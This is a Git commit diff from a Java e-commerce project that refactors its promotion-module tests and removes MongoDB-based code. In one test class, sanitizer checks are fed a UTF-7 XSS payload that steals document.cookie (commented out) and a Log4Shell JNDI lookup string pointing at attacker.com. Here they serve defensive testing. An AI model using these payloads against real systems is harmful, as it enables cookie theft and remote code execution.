重构优化促销模块。移除促销相关的mongo

This commit is contained in:
paulGao
2021-12-10 20:15:03 +08:00
parent 8a29ce048d
commit d9d19f8cbd
118 changed files with 2998 additions and 3885 deletions

View File

@@ -20,7 +20,6 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -59,12 +58,20 @@ class EsTest {
public static void main(String[] args) {
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-");
System.out.println(safeHTML);
System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
System.out.println(HtmlUtil.unescape(safeHTML));
System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
// String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-");
// System.out.println(safeHTML);
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// System.out.println(HtmlUtil.unescape(safeHTML));
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// Date dt1 = new Date(2017, 3, 31);
// Date dt2 = new Date(2017, 5, 14)Z
// System.out.println(dt2.after(dt1));
String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
System.out.println(filter);
System.out.println(sanitize);
}
@Test

View File

@@ -1,13 +1,15 @@
package cn.lili.test.promotion;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.enums.*;
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
import cn.lili.modules.promotion.entity.enums.CouponTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
@@ -50,7 +52,6 @@ class CouponTest {
couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name());
couponVO.setDescription(couponVO.getCouponName() + " are expensive");
couponVO.setGetType(CouponGetEnum.FREE.name());
couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
// couponVO.setStoreId("0");
// couponVO.setStoreName("platform");
couponVO.setStoreId("131");
@@ -61,7 +62,7 @@ class CouponTest {
// couponVO.setPrice(200D);
couponVO.setCouponDiscount(0.1D);
couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeId("121");
couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-30 15:58:00"));
couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-12-30 23:50:00"));
@@ -82,7 +83,6 @@ class CouponTest {
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionId(couponVO.getId());
promotionGoods.setQuantity(1000);
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoods.setPromotionType(PromotionTypeEnum.COUPON.name());
promotionGoodsList.add(promotionGoods);
//
@@ -99,7 +99,7 @@ class CouponTest {
// promotionGoodsList.add(promotionGoods);
//
couponVO.setPromotionGoodsList(promotionGoodsList);
Assertions.assertNotNull(couponService.add(couponVO));
Assertions.assertNotNull(couponService.savePromotions(couponVO));
}
@Test
@@ -110,7 +110,6 @@ class CouponTest {
couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name());
couponVO.setDescription(couponVO.getId() + " is expensive");
couponVO.setGetType(CouponGetEnum.FREE.name());
couponVO.setPromotionStatus(PromotionStatusEnum.START.name());
couponVO.setStoreId("132");
couponVO.setStoreName("联想自营旗舰店");
couponVO.setStoreCommission(99.99D);
@@ -119,7 +118,7 @@ class CouponTest {
couponVO.setCouponDiscount(10D);
couponVO.setPrice(0D);
couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeId("134,133");
couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:01:00"));
couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:10:00"));
@@ -144,7 +143,6 @@ class CouponTest {
promotionGoods.setStartTime(couponVO.getStartTime());
promotionGoods.setEndTime(couponVO.getEndTime());
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoodsList.add(promotionGoods);
promotionGoods = new PromotionGoods();
@@ -160,11 +158,10 @@ class CouponTest {
promotionGoods.setStartTime(couponVO.getStartTime());
promotionGoods.setEndTime(couponVO.getEndTime());
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoodsList.add(promotionGoods);
couponVO.setPromotionGoodsList(promotionGoodsList);
Assertions.assertNotNull(couponService.updateCoupon(couponVO));
Assertions.assertNotNull(couponService.updatePromotions(couponVO));
}
@Test
@@ -174,23 +171,11 @@ class CouponTest {
PageVO pageVo = new PageVO();
pageVo.setPageNumber(0);
pageVo.setPageSize(10);
IPage<CouponVO> couponsByPageFromMongo = couponService.getCouponsByPageFromMongo(queryParam, pageVo);
IPage<Coupon> couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo);
Assertions.assertNotNull(couponsByPageFromMongo);
couponsByPageFromMongo.getRecords().forEach(System.out::println);
}
@Test
void searchFromMysql() {
CouponSearchParams queryParam = new CouponSearchParams();
PageVO pageVo = new PageVO();
pageVo.setPageNumber(0);
pageVo.setPageSize(10);
IPage<Coupon> coupons = couponService.getCouponsByPage(queryParam, pageVo);
Assertions.assertNotNull(coupons);
coupons.getRecords().forEach(System.out::println);
}
@Test
void delete() {
// Assertions.assertTrue(couponService.deleteCoupon("1326001296591577088"));

View File

@@ -1,17 +1,15 @@
package cn.lili.test.promotion;
import cn.hutool.core.util.RandomUtil;
import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import com.baomidou.mybatisplus.core.metadata.IPage;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
@@ -21,6 +19,7 @@ import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
@@ -46,7 +45,6 @@ class FullDiscountTest {
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMoney(130D);
fullDiscountVO.setFullMinus(100D);
fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
@@ -64,13 +62,12 @@ class FullDiscountTest {
promotionGoods.setNum(10);
promotionGoods.setQuantity(100);
promotionGoods.setPromotionId(fullDiscountVO.getId());
promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name());
promotionGoods.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name());
promotionGoods.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());
promotionGoodsLis.add(promotionGoods);
fullDiscountVO.setPromotionGoodsList(promotionGoodsLis);
Assertions.assertNotNull(fullDiscountService.addFullDiscount(fullDiscountVO));
Assertions.assertTrue(fullDiscountService.savePromotions(fullDiscountVO));
}
@Test
@@ -82,12 +79,9 @@ class FullDiscountTest {
pageVo.setSort("startTime");
pageVo.setOrder("asc");
IPage<FullDiscountVO> fullDiscountByPageFromMongo = fullDiscountService.getFullDiscountByPageFromMongo(new FullDiscountSearchParams(), null);
IPage<FullDiscount> fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
Assertions.assertNotNull(fullDiscountByPageFromMongo);
FullDiscount fullDiscount = JSONUtil.toBean(JSONUtil.parseObj(fullDiscountByPageFromMongo.getPages()), FullDiscount.class);
System.out.println(fullDiscount);
// fullDiscountByPageFromMongo.forEach(System.out::println);
}
@Test
@@ -100,7 +94,6 @@ class FullDiscountTest {
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMoney(100D);
fullDiscountVO.setFullMinus(80D);
fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
@@ -111,7 +104,6 @@ class FullDiscountTest {
List<PromotionGoods> promotionGoodsLis = new ArrayList<>();
PromotionGoods promotionGoods = new PromotionGoods();
promotionGoods.setSkuId("134");
promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name());
promotionGoods.setPrice(18000D);
promotionGoods.setStartTime(fullDiscountVO.getStartTime());
promotionGoods.setEndTime(fullDiscountVO.getEndTime());
@@ -124,12 +116,12 @@ class FullDiscountTest {
promotionGoods.setStoreId("132");
promotionGoodsLis.add(promotionGoods);
fullDiscountVO.setPromotionGoodsList(promotionGoodsLis);
Assertions.assertNotNull(fullDiscountService.modifyFullDiscount(fullDiscountVO));
Assertions.assertTrue(fullDiscountService.updatePromotions(fullDiscountVO));
}
@Test
void delete() {
Assertions.assertTrue(fullDiscountService.deleteFullDiscount("1325995092947525632"));
Assertions.assertTrue(fullDiscountService.removePromotions(Collections.singletonList("1325995092947525632")));
}

View File

@@ -1,15 +1,8 @@
package cn.lili.test.promotion;
import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dto.BasePromotion;
import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
@@ -37,20 +30,10 @@ class PromotionPriceTest {
void testSeckillPrice() {
Map<String, Object> currentPromotion = promotionService.getCurrentPromotion();
for (Map.Entry<String, Object> entry : currentPromotion.entrySet()) {
BasePromotion promotion = (BasePromotion) entry.getValue();
BasePromotions promotion = (BasePromotions) entry.getValue();
System.out.println(entry.getKey() + "-" + promotion.getId());
}
Assertions.assertTrue(true);
}
@Test
void testSeckillPrice1() {
IPage<PromotionGoodsDTO> promotionGoods = promotionGoodsServiceService.getCurrentPromotionGoods(PromotionTypeEnum.FULL_DISCOUNT.name(), new PageVO());
ResultMessage<IPage<PromotionGoodsDTO>> data = ResultUtil.data(promotionGoods);
String s = JSONUtil.toJsonStr(data);
System.out.println(s);
Assertions.assertTrue(true);
}
}

View File

@@ -1,7 +1,7 @@
package cn.lili.test.promotion;
import cn.lili.modules.member.service.MemberService;
import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum;
import cn.lili.modules.promotion.entity.vos.SeckillApplyVO;
import cn.lili.modules.promotion.service.SeckillApplyService;
import cn.lili.modules.promotion.service.SeckillService;
@@ -60,7 +60,7 @@ class SeckillTest {
seckillApplyVO.setSkuId("1387977574860193792");
seckillApplyVO.setOriginalPrice(4000D);
seckillApplyVO.setPrice(3600D);
seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name());
seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name());
seckillApplyVO.setQuantity(1);
seckillApplyVO.setSalesNum(0);
seckillApplyVO.setSeckillId("10000");
@@ -73,7 +73,7 @@ class SeckillTest {
seckillApplyVO.setSkuId("1387977574864388096");
seckillApplyVO.setOriginalPrice(4000D);
seckillApplyVO.setPrice(3600D);
seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name());
seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name());
seckillApplyVO.setQuantity(1);
seckillApplyVO.setSalesNum(0);
seckillApplyVO.setSeckillId("10000");